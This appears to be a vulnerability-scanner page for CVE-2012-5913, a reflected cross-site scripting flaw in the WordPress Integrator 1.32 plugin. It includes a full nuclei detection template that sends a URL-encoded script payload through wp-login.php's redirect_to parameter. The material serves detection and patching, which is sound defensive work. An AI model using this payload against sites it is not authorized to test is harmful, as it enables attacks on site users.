WordPress Integrator 1.32 - Cross-Site Scripting

mediumseverity

4.3CVSS score

8.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update the WordPress Integrator plugin to the latest version or apply the vendor-supplied patch to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/wp-integrator/readme.txt
Positive when: contains "Wordpress Integrator"
Send: GET {{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E
Positive when: contains "</sCripT><sCripT>alert(document.domain)</sCripT>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2012-5913 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2012-5913

info:
  name: WordPress Integrator 1.32 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update the WordPress Integrator plugin to the latest version or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-5913
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-integrator-redirect_to-parameter-cross-site-scripting-1-32/
    - http://packetstormsecurity.org/files/111249/WordPress-Integrator-1.32-Cross-Site-Scripting.html
    - http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74475
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-5913
    cwe-id: CWE-79
    epss-score: 0.08693
    epss-percentile: 0.95172
    cpe: cpe:2.3:a:wordpress_integrator_project:wordpress_integrator:1.32:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "wordpress_integrator_project"
    product: "wordpress_integrator"
  tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm,wordpress_integrator_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-integrator/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Wordpress Integrator'

  - method: GET
    path:
      - '{{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</sCripT><sCripT>alert(document.domain)</sCripT>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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